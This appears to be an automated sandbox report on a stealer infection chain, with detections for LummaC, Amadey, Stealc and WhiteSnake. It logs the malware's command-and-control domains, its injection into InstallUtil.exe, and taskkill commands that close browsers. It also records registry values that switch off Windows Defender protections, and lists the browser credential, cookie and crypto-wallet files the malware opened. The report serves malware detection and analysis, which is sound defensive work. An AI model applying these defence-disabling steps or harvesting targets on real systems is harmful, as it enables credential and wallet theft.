Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 1B0000 value starts with: 4D5A Jump to behavior
LummaC encrypted strings found
Source: file.exe, 00000000.00000003.1698356119.0000000004B80000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: scriptyprefej.store
Source: file.exe, 00000000.00000003.1698356119.0000000004B80000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: navygenerayk.store
Source: file.exe, 00000000.00000003.1698356119.0000000004B80000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: founpiuer.store
Source: file.exe, 00000000.00000003.1698356119.0000000004B80000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: necklacedmny.store
Source: file.exe, 00000000.00000003.1698356119.0000000004B80000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: thumbystriw.store
Source: file.exe, 00000000.00000003.1698356119.0000000004B80000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: fadehairucw.store
Source: file.exe, 00000000.00000003.1698356119.0000000004B80000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: crisiwarny.store
Source: file.exe, 00000000.00000003.1698356119.0000000004B80000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: presticitpo.store
Writes to foreign memory regions
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 1B0000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 1B2000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 1D8000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 1DA000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 2F6008 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe "C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe "C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe "C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe "C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002767001\num.exe "C:\Users\user\AppData\Local\Temp\1002767001\num.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" Jump to behavior
Uses taskkill to terminate processes
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: 384a543dd0.exe, 00000012.00000000.2730995677.00000000007F2000.00000002.00000001.01000000.00000012.sdmp Binary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: skotes.exe, skotes.exe, 00000008.00000002.2932341163.00000000005EA000.00000040.00000001.01000000.0000000B.sdmp Binary or memory string: pProgram Manager
Source: NSXWT8JG74T0IR99MSITIVFVWS7V.exe, 00000004.00000002.2198301393.0000000000EBB000.00000040.00000001.01000000.00000006.sdmp Binary or memory string: MProgram Manager
Source: firefox.exe, 0000001F.00000002.2940194454.00000059C88FB000.00000004.00000010.00020000.00000000.sdmp Binary or memory string: ?ProgmanListenerWi
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 8_2_0040D3E2 cpuid 8_2_0040D3E2
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\file.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002767001\num.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002767001\num.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002767001\num.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 8_2_0040CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime, 8_2_0040CBEA
Source: C:\Users\user\Desktop\file.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings
barindex
Disable Windows Defender notifications (registry)
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1 Jump to behavior
Disable Windows Defender real time protection (registry)
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection Registry value created: DisableIOAVProtection 1 Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection Registry value created: DisableRealtimeMonitoring 1 Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications Registry value created: DisableNotifications 1 Jump to behavior
Disables Windows Defender Tamper protection
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe Registry value created: TamperProtection 0 Jump to behavior
Modifies windows update settings
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations Jump to behavior
AV process strings found (often used to terminate AV products)
Source: file.exe, 00000000.00000003.1783230303.0000000000A5C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1783251069.0000000000A64000.00000004.00000020.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2675857195.00000000009A7000.00000004.00000020.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2686263448.0000000000995000.00000004.00000020.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2796735453.0000000000993000.00000004.00000020.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2675791913.000000000099C000.00000004.00000020.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2675828449.00000000009A0000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\Users\user\Desktop\file.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information
barindex
Yara detected Amadeys stealer DLL
Source: Yara match File source: 36.2.IPBFM5C40FWD77UPB7GOCE.exe.c20000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.VG65QSLZVUGSLKDE78EZSIIG.exe.e60000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.skotes.exe.3f0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.skotes.exe.3f0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.skotes.exe.3f0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000005.00000003.2081884268.0000000005560000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2154589683.00000000003F1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2931180827.00000000003F1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000002.2895934799.0000000000C21000.00000040.00000001.01000000.0000001B.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2122356515.0000000000E61000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000003.2109439630.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000003.2855232962.0000000005020000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000003.2112931245.00000000049D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.2150060118.00000000003F1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000003.2342681406.00000000052F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Yara detected Credential Flusher
Source: Yara match File source: Process Memory Space: 384a543dd0.exe PID: 7480, type: MEMORYSTR
Yara detected LummaC Stealer
Source: Yara match File source: Process Memory Space: file.exe PID: 7304, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 70bf1463df.exe PID: 6984, type: MEMORYSTR
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected Stealc
Source: Yara match File source: 35.2.num.exe.d00000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 35.0.num.exe.d00000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.e90585a72a.exe.650000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000011.00000002.2707046066.000000000120E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000002.2829604332.0000000000ACE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000003.2665005403.0000000005030000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000000.2812170564.0000000000D1E000.00000002.00000001.01000000.0000001A.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000002.2832801090.0000000000D1E000.00000002.00000001.01000000.0000001A.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000000.2811743651.0000000000D01000.00000080.00000001.01000000.0000001A.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000002.2832117912.0000000000D01000.00000080.00000001.01000000.0000001A.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.2706006259.0000000000651000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: e90585a72a.exe PID: 3620, type: MEMORYSTR
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\1002767001\num.exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\num[1].exe, type: DROPPED
Source: Yara match File source: dump.pcap, type: PCAP
Yara detected WhiteSnake Stealer
Source: Yara match File source: 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: InstallUtil.exe PID: 6032, type: MEMORYSTR
Found many strings related to Crypto-Wallets (likely being stolen)
Source: InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: %AppData%\Electrum\wallets
Source: file.exe String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: $^q%exodus.conf.json;exodus.wallet\*.seco
Source: InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: $^q$%AppData%\Jaxx\Local Storage\leveldb
Source: file.exe String found in binary or memory: Wallets/Exodus
Source: file.exe String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe String found in binary or memory: keystore
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
